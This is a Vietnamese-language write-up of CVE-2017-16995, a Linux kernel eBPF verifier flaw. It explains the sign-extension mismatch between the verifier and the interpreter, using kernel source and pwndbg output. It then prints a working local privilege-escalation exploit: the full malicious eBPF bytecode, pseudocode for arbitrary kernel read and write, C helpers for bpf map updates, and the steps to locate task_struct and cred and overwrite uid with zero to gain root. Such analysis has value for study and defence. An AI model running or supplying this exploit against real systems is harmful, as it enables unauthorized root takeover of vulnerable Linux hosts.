Phân tích CVE-2017-16995
Phần 1: Cơ bản về eBPF
- eBPF extension Berkeley Packet Filter có chức năng để lọc các gói tin nghĩa là khi một gói tin đến thì eBPF sẽ áp dụng các luật đã có sẵn để thực hiện các hành vi đúng theo ý của người quản trị. Ta có thể tự định nghĩa các instruction và giao tiếp với eBPF thông qua các API có sẵn. Để định nghĩa thì phải dùng eBPF program và có cấu trúc và các tập thanh ghi riêng.
- xem thêm về các API của eBPF link
- eBPF program gồm 10 thanh ghi R0-R10 trong đó R10 là frame pointer read-only.
- Cấu trúc của bpf instruction:
struct bpf_insn { __u8 code; /* opcode */ __u8 dst_reg:4; /* dest register */ __u8 src_reg:4; /* source register */ __s16 off; /* signed offset */ __s32 imm; /* signed immediate constant */ };
- Ví dụ "\xb4\x09\x00\x00\xff\xff\xff\xff"
- code: b4, dst_reg: 9, src_reg: 0, off: 0, imm: ffffffff
- Trường code dùng để định nghĩa instruction đó dùng để làm gì (ví dụ b4 = mov)
Phần 2: Phân tích lỗi
- Ta cần để ý tới 2 hàm quan trọng đó là do_check (kernel/bpf/verifier.c) và bpf_prog_run (kernel/bpf/verifier.c)
- do_check dùng để kiểm tra tính hợp lệ của các instruction. Nó đảm bảo khi các instruction thực thi thì sẽ không ảnh hưởng tơi vùng khác hoặc làm các hành động có nguy hiểm cho hệ thống
- bpf_prog_run dùng để thực thi các instruction được truyền vào
Phân tích đoạn đầu của mã khai thác
- các hàm do_check và bpf_prog_run sẽ được debug theo đầu nào này.
- Để đơn giản thì ta sẽ phân tích đoạn instruction ta truyền vào cho eBPF.
- 3 dòng đầu tiên. Mục đích là để bypass
"\xb4\x09\x00\x00\xff\xff\xff\xff" "\x55\x09\x02\x00\xff\xff\xff\xff" "\xb7\x00\x00\x00\x00\x00\x00\x00"- Nội dung của 3 đoạn instruction có nghĩa là:
{ r9 = u32(-1); if(r9==0xffffff){ exit; } ........ (some malicious code) }
Hàm do_check
- Hàm do_check sẽ gọi tới hàm check_cond_jmp_op để kiểm chọn nhánh sẽ thực thi
else if (class == BPF_JMP) { u8 opcode = BPF_OP(insn->code); if (opcode == BPF_CALL) { //some code } else if (opcode == BPF_JA) { //some code } else if (opcode == BPF_EXIT) { //some code }else { err = check_cond_jmp_op(env, insn, &insn_idx); if (err) return err; } }
- Trong check_cond_jmp_op
if (BPF_SRC(insn->code) == BPF_K && (opcode == BPF_JEQ || opcode == BPF_JNE) && regs[insn->dst_reg].type == CONST_IMM && regs[insn->dst_reg].imm == insn->imm) { if (opcode == BPF_JEQ) { /* if (imm == imm) goto pc+off; * only follow the goto, ignore fall-through */ *insn_idx += insn->off; return 0; } else { /* if (imm != imm) goto pc+off; * only follow fall-through branch, since * that's where the program will go */ return 0; } }
- Tại dòng regs[insn->dst_reg].imm == insn->imm) thì nó sẽ kiểm tra 2 signed integer cả 2 đều kiểu là U32. Nghĩa là sẽ so sánh 0xffffffff và 0xffffffff.
Breakpoint 3, 0xffffffff8111318e in check_cond_jmp_op (insn_idx=<optimized out>, insn=<optimized out>, env=<optimized out>) at kernel/bpf/verifier.c:1219 1219 regs[insn->dst_reg].type == CONST_IMM && => 0xffffffff8111318e <bpf_check+7918>: cmp %ecx,0x8(%rax) 0xffffffff81113191 <bpf_check+7921>: jne 0xffffffff81112cbc <bpf_check+6684> 0xffffffff81113197 <bpf_check+7927>: cmpb $0x10,-0x78(%rbp) 0xffffffff8111319b <bpf_check+7931>: jne 0xffffffff81111edf <bpf_check+3135> ecx 0xffffffff $3 = 0xffff88007b9e70a8 0xffff88007b9e70a8: 0x0000000000000008 0x00000000ffffffff
- Vấn đề ở đây là nó luôn tin phép so sánh này đúng và sẽ không kiểm tra các instruction nằm đằng sau. Ta sẽ nói tiếp ở phần sau
Hàm bpf_prog_run
- Hàm bị lỗi:
#define DST regs[insn->dst_reg] #define SRC regs[insn->src_reg] #define FP regs[BPF_REG_FP] #define ARG1 regs[BPF_REG_ARG1] #define CTX regs[BPF_REG_CTX] #define IMM insn->imm //definition of regs u64 regs[MAX_BPF_REG], tmp; //jump branch for BPF_ALU|BPF_MOV|BPF_K ALU_MOV_K: DST = (u32) IMM; CONT; //jump branch for BPF_JMP|BPF_JNE|BPF_K JMP_JNE_K: if (DST != IMM) { insn += insn->off; CONT_JMP; } CONT;
- Ta có thể thấy rằng DST có dạng u64 nên khi ép kiểu xuống thì giá trị không phải là 0xffffffff mà nó sẽ có giá trị là 0xffffffffffffffff nhưng imm = 0xffffffff nên điều kiện kiểm tra sẽ bị sai dẫn đến nhánh khác được thực thi thay vì nhánh mà hàn do_check nghĩ
- Đặt breakpoint tại DST = (u32) IMM;
0xffffffff81171b6a <__bpf_prog_run+1562> and eax, 0xf 0xffffffff81171b6d <__bpf_prog_run+1565> mov qword ptr [rbp + rax*8 - 0x278], rdi 0xffffffff81171b75 <__bpf_prog_run+1573> movzx eax, byte ptr [rbx] 0xffffffff81171b78 <__bpf_prog_run+1576> jmp qword ptr [r12 + rax*8] ↓ 0xffffffff81171e3b <__bpf_prog_run+2283> movzx eax, byte ptr [rbx + 1] ► 0xffffffff81171e3f <__bpf_prog_run+2287> movsxd rdx, dword ptr [rbx + 4] pwndbg> x/gx $rbx+4 0xffffc90000461034: 0x000000b7ffffffff
- sau lệnh này thì rdx có giá trị là 0xffffffffffffffff thay vì 0xffffffff
0xffffffff81171b6d <__bpf_prog_run+1565> mov qword ptr [rbp + rax*8 - 0x278], rdi 0xffffffff81171b75 <__bpf_prog_run+1573> movzx eax, byte ptr [rbx] 0xffffffff81171b78 <__bpf_prog_run+1576> jmp qword ptr [r12 + rax*8] ↓ 0xffffffff81171e3b <__bpf_prog_run+2283> movzx eax, byte ptr [rbx + 1] 0xffffffff81171e3f <__bpf_prog_run+2287> movsxd rdx, dword ptr [rbx + 4] ► 0xffffffff81171e43 <__bpf_prog_run+2291> and eax, 0xf 0xffffffff81171e46 <__bpf_prog_run+2294> cmp qword ptr [rbp + rax*8 - 0x278], rdx 0xffffffff81171e4e <__bpf_prog_run+2302> je __bpf_prog_run+5036 <0xffffffff811728fc> 0xffffffff81171e54 <__bpf_prog_run+2308> movsx rax, word ptr [rbx + 2] 0xffffffff81171e59 <__bpf_prog_run+2313> lea rbx, [rbx + rax*8 + 8] 0xffffffff81171e5e <__bpf_prog_run+2318> movzx eax, byte ptr [rbx] pwndbg> i r rdx rdx 0xffffffffffffffff -1
- Và đây là khi so sánh if (DST != IMM)
0xffffffff81171e43 <__bpf_prog_run+2291> and eax, 0xf ► 0xffffffff81171e46 <__bpf_prog_run+2294> cmp qword ptr [rbp + rax*8 - 0x278], rdx 0xffffffff81171e4e <__bpf_prog_run+2302> je __bpf_prog_run+5036 <0xffffffff811728fc> 0xffffffff81171e54 <__bpf_prog_run+2308> movsx rax, word ptr [rbx + 2] 0xffffffff81171e59 <__bpf_prog_run+2313> lea rbx, [rbx + rax*8 + 8] 0xffffffff81171e5e <__bpf_prog_run+2318> movzx eax, byte ptr [rbx] 0xffffffff81171e61 <__bpf_prog_run+2321> jmp qword ptr [r12 + rax*8] pwndbg> i r rdx rdx 0xffffffffffffffff -1 pwndbg> x/gx $rbp + $rax*8 - 0x278 0xffff8800165dba78: 0x00000000ffffffff
- Chứng tỏ rằng đoạn kiểm tra là sai.
Tổng kết vấn đề
- Khi ta load kịch bản instruction như trên, hàm bpf_check kiểm tra thì nó thấy nhánh so sánh là đúng và hiểu là so sáng 0xffffffff với 0xffffffff nên chương trình chạy đến đoạn exit và thoát ra. Nên không kiểm tra đoạn code phía sau.
- Nhưng khi hàm bpf_prog_run chạy lên và đoạn so sánh lại bị hiểu là 0xffffffff vs 0xffffffffffffffff nên nó sẽ nhận là sai và xuống nhánh dưới và thực thi mã độc
- Thật vậy. Đây là đoạn bpf log được in ra sau khi chạy thành công. Tuy các nhánh phía dưới được thực thi nhưng chỉ được ghi nhận 4 instruction đầu tiên
0: (b4) (u32) r9 = (u32) -1 1: (55) if r9 != 0xffffffff goto pc+2 2: (b7) r0 = 0 3: (95) exit - Như vậy ta có thể thực hiện các instruction độc hại và dẫn đến có toàn quyền đọc ghi với hệ thống
Phần 3: Khai thác
Tạo tập instruction
- Tập instruction sẽ gửi lên kernel
"\xb4\x09\x00\x00\xff\xff\xff\xff" "\x55\x09\x02\x00\xff\xff\xff\xff" "\xb7\x00\x00\x00\x00\x00\x00\x00" "\x95\x00\x00\x00\x00\x00\x00\x00" "\x18\x19\x00\x00\x03\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\xbf\x91\x00\x00\x00\x00\x00\x00" "\xbf\xa2\x00\x00\x00\x00\x00\x00" "\x07\x02\x00\x00\xfc\xff\xff\xff" "\x62\x0a\xfc\xff\x00\x00\x00\x00" "\x85\x00\x00\x00\x01\x00\x00\x00" "\x55\x00\x01\x00\x00\x00\x00\x00" "\x95\x00\x00\x00\x00\x00\x00\x00" "\x79\x06\x00\x00\x00\x00\x00\x00" "\xbf\x91\x00\x00\x00\x00\x00\x00" "\xbf\xa2\x00\x00\x00\x00\x00\x00" "\x07\x02\x00\x00\xfc\xff\xff\xff" "\x62\x0a\xfc\xff\x01\x00\x00\x00" "\x85\x00\x00\x00\x01\x00\x00\x00" "\x55\x00\x01\x00\x00\x00\x00\x00" "\x95\x00\x00\x00\x00\x00\x00\x00" "\x79\x07\x00\x00\x00\x00\x00\x00" "\xbf\x91\x00\x00\x00\x00\x00\x00" "\xbf\xa2\x00\x00\x00\x00\x00\x00" "\x07\x02\x00\x00\xfc\xff\xff\xff" "\x62\x0a\xfc\xff\x02\x00\x00\x00" "\x85\x00\x00\x00\x01\x00\x00\x00" "\x55\x00\x01\x00\x00\x00\x00\x00" "\x95\x00\x00\x00\x00\x00\x00\x00" "\x79\x08\x00\x00\x00\x00\x00\x00" "\xbf\x02\x00\x00\x00\x00\x00\x00" "\xb7\x00\x00\x00\x00\x00\x00\x00" "\x55\x06\x03\x00\x00\x00\x00\x00" "\x79\x73\x00\x00\x00\x00\x00\x00" "\x7b\x32\x00\x00\x00\x00\x00\x00" "\x95\x00\x00\x00\x00\x00\x00\x00" "\x55\x06\x02\x00\x01\x00\x00\x00" "\x7b\xa2\x00\x00\x00\x00\x00\x00" "\x95\x00\x00\x00\x00\x00\x00\x00" "\x7b\x87\x00\x00\x00\x00\x00\x00" "\x95\x00\x00\x00\x00\x00\x00\x00";
- Ý nghĩa.
- 3 dòng đầu dùng để bypass hàm do_check đã được nhắc phía trên.
"\xb4\x09\x00\x00\xff\xff\xff\xff" "\x55\x09\x02\x00\xff\xff\xff\xff" "\xb7\x00\x00\x00\x00\x00\x00\x00"
- Dưới đây là mã giả của instruction từ dòng 4 trở xuống.
R1 = bpf_map; R2 = R10; R2 = R2 - 4; *(R10-4) = 0; R0 = call bpf_map_lookup_elem(R1, R2); // R1 is pointer to bpf_map, *R2 is 0 if(R0 == 0) JUMP_EXIT R6 = *R0 R1 = bpf_map; R2 = R10; R2 = R2 - 4; *(R10-4) = 1; R0 = call bpf_map_lookup_elem(R1, R2); // R1 is pointer to bpf_map, *R2 is 1 if(R0 == 0) JUMP_EXIT R7 = *R0 R1 = bpf_map; R2 = R10; R2 = R2 - 4; *(R10-4) = 2; R0 = call bpf_map_lookup_elem(R1, R2); // R1 is pointer to bpf_map, *R2 is 2 if(R0 == 0) JUMP_EXIT R8 = *R0 R2 = R0; R0 = 0; if(R6 == 0) { R3 = *(R7); *R2 = R3; } else if(R6 == 1) { *R2 = R10; } else if(R6 == 2) { *(R7) = R8; }
- Mục đích là cho ta có quyền đọc và ghi tùy ý tới mọi địa chỉ. Tất cả các giá trị này để là ở phía user truyền lên qua BPF_MAP_UPDATE_ELEM và có thể đọc được nhờ BPF_MAP_LOOKUP_ELEM Tham khảo
- Bây giờ thứ ta cần nhớ là R6 R7 R8 R9 đều là do user gửi lên.
- Nếu R6 == 0 thì sẽ ghi giá trị R7 trỏ đến vào R2 (đọc tùy ý)
- Nếu R6 == 1 thì giá trị R10 (frame pointer) sẽ được ghi vào R2 (leak frame pointer)
- Nếu R6 == 2 thì giá trị R8 sẽ được lưu vào vùng R7 trỏ tới (ghi tùy ý)
- Bây giờ thứ ta cần nhớ là R6 R7 R8 R9 đều là do user gửi lên.
Khai thác
- Bước 1: Bước khởi tạo: bpf_map, gửi tập instruction lên kernel, tạo socket
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3); progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0); socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets); setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd));
- Bước 2: Leak địa chỉ và ghi đề vào vùng cred để leo quyền
- Ta leak frame pointer thông qua optione 1 của mã độc và vì lúc này giá trị đó đã được lưu ở bpf_map thứ 2 nên ta đọc nó bằng bpf_lookup_elem
static int bpf_update_elem(uint64_t key, uint64_t value) { union bpf_attr attr = { .map_fd = mapfd, .key = (__u64)&key, .value = (__u64)&value, .flags = 0, }; #define __update_elem(a, b, c) \ bpf_update_elem(0, (a)); \ bpf_update_elem(1, (b)); \ bpf_update_elem(2, (c)); \ writemsg(); static uint64_t get_value(int key) { uint64_t value; bpf_lookup_elem(&key, &value); return value; } static int bpf_lookup_elem(void *key, void *value) { union bpf_attr attr = { .map_fd = mapfd, .key = (__u64)key, .value = (__u64)value, }; return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); } static uint64_t __get_fp(void) { __update_elem(1, 0, 0); return get_value(2); }
- Khi đã có frame pointer ta tính stack pointer:
stack_pointer = frame_pointer & ~(0x4000 - 1);
- Tại phiên bản này (4.4.21) thì task_struct được đặt ở ngay đầu của stack. Nên nếu tìm đc stack_pointer thì ta chỉ cần đọc giá trị tại địa chỉ này thì ta sẽ biết được vị trí của task_struct.
- linux/include/linux/sched.h
union thread_union { struct thread_info thread_info; unsigned long stack[THREAD_SIZE/sizeof(long)]; };
- arch/x86/include/asm/thread_info.h
struct thread_info { struct task_struct *task; /* main task structure */ __u32 flags; /* low level flags */ __u32 status; /* thread synchronous flags */ __u32 cpu; /* current CPU */ mm_segment_t addr_limit; unsigned int sig_on_uaccess_error:1; unsigned int uaccess_err:1; /* uaccess failed */ };
- Khi biết được task_struct thì ta sẽ tính ofset từ task_struct tới cred
0xffffffff81172b1b <map_update_elem+235> mov edx, dword ptr [r14 + 0xc] 0xffffffff81172b1f <map_update_elem+239> mov rsi, qword ptr [rbp - 0x38] 0xffffffff81172b23 <map_update_elem+243> mov rdi, rax 0xffffffff81172b26 <map_update_elem+246> mov qword ptr [rbp - 0x30], rax 0xffffffff81172b2a <map_update_elem+250> call _copy_from_user <0xffffffff813f5ff0> ► 0xffffffff81172b2f <map_update_elem+255> test rax, rax 0xffffffff81172b32 <map_update_elem+258> mov edx, 0xfffffff2 0xffffffff81172b37 <map_update_elem+263> mov r8, qword ptr [rbp - 0x30] 0xffffffff81172b3b <map_update_elem+267> je map_update_elem+323 <0xffffffff81172b73> ↓ 0xffffffff81172b73 <map_update_elem+323> mov rax, qword ptr [r14 + 0x20] 0xffffffff81172b77 <map_update_elem+327> mov rdx, r8 0 pwndbg> p/x (&(((struct task_struct*)(0xffff88007886d280))->cred)) $44 = 0xffff88007886d850 pwndbg> p/x 0xffff88007886d850-0xffff88007886d280 $45 = 0x5d0
- Vậy ofset = 0x5d0. Ta leak địa chỉa ở ông nhớ task_struct + 0x5d0 là sẽ ra cred
credptr = __read(task_struct + 0x5d0);- Leak được địa chỉ của cred và tính được địa chỉ của uid. Bây giờ ta chỉ cần ghi giá trị 0 vào trường uid là có thể lên root được.
pwndbg> x/10gx 0xffff8800165d8000 (stack pointer) 0xffff8800165d8000: 0xffff8800246f6040 (task_struct) 0x0000000000000000 0xffff8800165d8010: 0x0000000000000000 0x00007ffffffff000 0xffff8800165d8020: 0x0000000000000000 0x0000000057ac6e9d 0xffff8800165d8030: 0x0000000000000000 0x0000000000000000 0xffff8800165d8040: 0x0000000000000000 0x0000000000000000 pwndbg> p/x *(((struct task_struct*)(0xffff8800246f6040))->cred) $2 = { usage = { counter = 0x9 }, uid = { <<--- uid cần ghi đè val = 0x3e8 }, gid = { val = 0x3e8 }, suid = { val = 0x3e8 }, sgid = { val = 0x3e8 },
- Kết quả
Phần 4: Tham khảo
- http://man7.org/linux/man-pages/man2/bpf.2.html
- https://dangokyo.me/2018/05/24/analysis-on-cve-2017-16995/
- https://whereisk0shl.top/post/2018-03-21?fbclid=IwAR2PpY8m_feSCtYy4XK4GRPiPtY_7lR8F_eADr9kV-7AEJQPSi1gZGy-2tE
- https://security.tencent.com/index.php/blog/msg/124?fbclid=IwAR3bWkIyf4sgKoDNg1NvmWkqwWS-MG2a-UQOTmS6YdBmkxQiRMqBXHTAMQs
- https://github.com/KamasuOri/Research/blob/master/CVE-2017-16995/poc.c